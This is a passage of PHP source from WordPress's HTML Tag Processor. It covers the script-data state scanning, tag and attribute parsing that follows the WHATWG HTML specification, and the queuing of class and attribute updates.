			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

